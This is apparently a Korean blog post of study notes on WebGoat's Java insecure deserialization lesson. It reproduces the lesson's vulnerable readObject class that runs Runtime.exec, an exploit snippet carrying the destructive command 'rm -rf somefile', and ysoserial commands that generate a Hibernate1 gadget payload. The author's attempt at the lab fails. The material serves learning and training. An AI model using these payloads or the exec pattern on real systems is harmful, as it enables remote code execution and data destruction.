[ 이론 ]
Concept
이 단원에서는 직렬화가 무엇이며 개발자의 원래 의도가 아닌 작업을 수행하기 위해 어떻게 조작할 수 있는지 설명한다.
Goals
- 사용자는 Java 프로그래밍 언어를 기본적으로 이해해야한다.
- 사용자가 안전하지 않은 역직렬화 취약성을 탐지할 수 있다.
- 사용자는 안전하지 않은 역직렬화 취약성을 이용할 수 있다.
- 역직렬화를 이용하는 것은 PHP나 Python과 같은 다른 프로그래밍 언어에서는 약간 다르지만 여기서 학습된 주요 개념들은 모든 것에도 적용된다.
What is Serialization
직렬화는 일부 개체를 나중에 복원할 수 있는 데이터 형식으로 변환하는 프로세스이다. 사람들은 종종 스토리지에 저장하거나 통신의 일부로 보내기 위해 객체를 직렬화한다. Deserialization은 어떤 형식에서 구조화된 데이터를 가져와 객체로 재구성하는 프로세스의 역방향이다. 오늘날 데이터를 직렬화하는 데 가장 널리 사용되는 데이터 형식은 JSON이다. 그 전에는 XML이었다.
Native Serialization
수많은 프로그래밍 언어들은 객체를 직렬화하는 네이티브 기능을 제공한다. 이러한 Native Format은 일반적으로 JSON이나 XML보다 더 많은 기능을 제공하며, 여기에는 직렬화 프로세스의 사용자 정의 기능이 포함된다. 아타깝게도 이러한 기본 역직렬화 매커니즘의 기능은 신뢰할 수 없는 데이터에 대해 작업할 때 악의적인 영향을 미치기 위해 용도 변경될 수 있다. 역직렬화에 대한 공격이 서비스 거부, 액세스 제어 및 원격 코드 실행 공격을 허용하는 것으로 확인되었다.
영향을 받는 것으로 알려진 프로그래밍 언어 : PHP Python Ruby Java C C++
Data, not Code : 오직 데이터만 직렬화된다. 코드는 그 자체로 직렬화되지 않는다. 역직렬화는 직렬화된 객체와 동일한 객체를 얻기 위해 새로운 객체를 생성하고 바이트 스트림의 모든 데이터를 복사한다.
The Simplest Exploit
Vulnerable code
다음은 JAVA 역직렬화 취약점으로 잘 알려진 예시이다.
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();
AcmeObject 객체가 필요하지만 캐스팅이 실행되기 전에 readObject()를 실행한다.공격자는 readObject()에서 위험한 작업을 구현하는 적절한 클래스를 발견하면 해당 개체를 직렬화하고 취약한 응용 프로그램이 이러한 작업을 수행하도록 강제할 수 있다.
Class included in ClassPath
공격자는 readObject()에서 위험한 구현과 직렬화를 지원하는 클래스를 클래스 경로에서 찾아야한다.
package org.dummy.insecure.framework;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
public class VulnerableTaskHolder implements Serializable {
private static final long serialVersionUID = 1;
private String taskName;
private String taskAction;
private LocalDateTime requestedExecutionTime;
public VulnerableTaskHolder(String taskName, String taskAction) {
super();
this.taskName = taskName;
this.taskAction = taskAction;
this.requestedExecutionTime = LocalDateTime.now();
}
private void readObject( ObjectInputStream stream ) throws Exception {
//deserialize data so taskName and taskAction are available
stream.defaultReadObject();
//blindly run some code. #code injection
Runtime.getRuntime().exec(taskAction);
}
}
Exploit
위에 표시된 Java 클래스가 존재하면 공격자는 해당 개체를 직렬화하고 원격 코드 실행할 수 있다.
VulnerableTaskHolder go = new VulnerableTaskHolder("delete all", "rm -rf somefile");
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(go);
oos.flush();
byte[] exploit = bos.toByteArray();
What is a Gadgets Chain
역직렬화되었을 때 위험한 동작 자체를 실행하는 장치를 발견하는 것은 이상하다. 그러나 역직렬화되었을 때 다른 가젯에서 동작을 실행하는 가젯을 찾기가 훨씬 쉬우며, 두 번째 가젯은 세 번째 가젯에서 더 많은 동작을 실행하며 실제로 위험한 동작이 트리거 될 때까지 계속된다. 위험한 동작을 달성하기 위해 역직렬화 과정에 사용될 수 있는 이러한 가젯 세트를 "Gadget Chain"이라고 한다. 가젯 체인을 만들기 위한 가젯을 찾는 것은 보안 연구자들에게 활발한 주제이다. 이런 종류의 연구는 보통 코드를 읽는데 많은 시간을 소비해야 한다.
[ 문제 ]
Let's try
다음 입력 상자는 작렬화된 객체를 수신하고 직렬화를 해제한다.
rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW9
1IGNhbiBwb3NzaWJseSBpbWFnaW5l
정확히 5초 동안 페이지 응답을 지연시키기 위해 이 직렬화된 개체를 변경하시오.
[ 풀이 ]
힝 이상한 문제
소스코드 확인,,,,
@RestController
@AssignmentHints({"insecure-deserialization.hints.1", "insecure-deserialization.hints.2", "insecure-deserialization.hints.3"})
public class InsecureDeserializationTask extends AssignmentEndpoint {
@PostMapping("/InsecureDeserialization/task")
@ResponseBody
public AttackResult completed(@RequestParam String token) throws IOException {
String b64token;
long before;
long after;
int delay;
b64token = token.replace('-', '+').replace('_', '/');
// 토큰으로 DECODING
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(b64token)))) {
before = System.currentTimeMillis();
Object o = ois.readObject(); // 여기서 취약점이 필요함 하지만 코드가 없어서 확인 불가
// 객체 형성
if (!(o instanceof VulnerableTaskHolder)) {
if (o instanceof String) {
return failed(this).feedback("insecure-deserialization.stringobject").build();
}
return failed(this).feedback("insecure-deserialization.wrongobject").build();
}
after = System.currentTimeMillis();
} catch (InvalidClassException e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
} catch (IllegalArgumentException e) {
return failed(this).feedback("insecure-deserialization.expired").build();
} catch (Exception e) {
return failed(this).feedback("insecure-deserialization.invalidversion").build();
}
delay = (int) (after - before); // 시간 제한 (객체 형성 하는데에)
if (delay > 7000) {
return failed(this).build();
}
if (delay < 3000) {
return failed(this).build();
}
return success(this).build();
}
}
burp suite extender에 파일 넣어서 확장 가능
점검 가능하도록 전송
Set Insertion Point - Sleep
??????? 뭐야 나는 not vulnerable만 뜨는디?
ㅠㅠㅠㅠ
일단 진행,,,
Java 툴 ysoserial - Gadgets 활성화
패치 완료된 툴 받았음
- 컴파일 안해도 ㄱㅊ
java -jar .\target\ysoserial-0.0.6-SNAPSHOT-all.jar
- 명령어 입력하고 파일로 생성
java -Dhibernate5 -jar .\target\ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "12314" > rst.txt
- base64 encoding
certutil -encode .\rst.txt .\rst1.txt
줄바꿈 삭제 => url에 넣어서 눈에 안보이는 특수문자 삭제
아놔ㅠㅠㅠ
https://www.youtube.com/watch?v=MSgEJFUt2NU
이걸로 해도 안돼ㅠㅠㅠㅠㅠ
'강의 및 교육 > Inflearn - Webgoat' 카테고리의 다른 글
Cross Site Scripting - 10 & 11 & 12 (0) | 2022.02.23 |
---|---|
JWT tokens - 11. Final challenge (0) | 2022.02.23 |
Missing Function Level Access Control - 3 (0) | 2022.02.22 |
Crypto Basics - 8 (0) | 2022.02.22 |
Crypto Basics - 6 (0) | 2022.02.21 |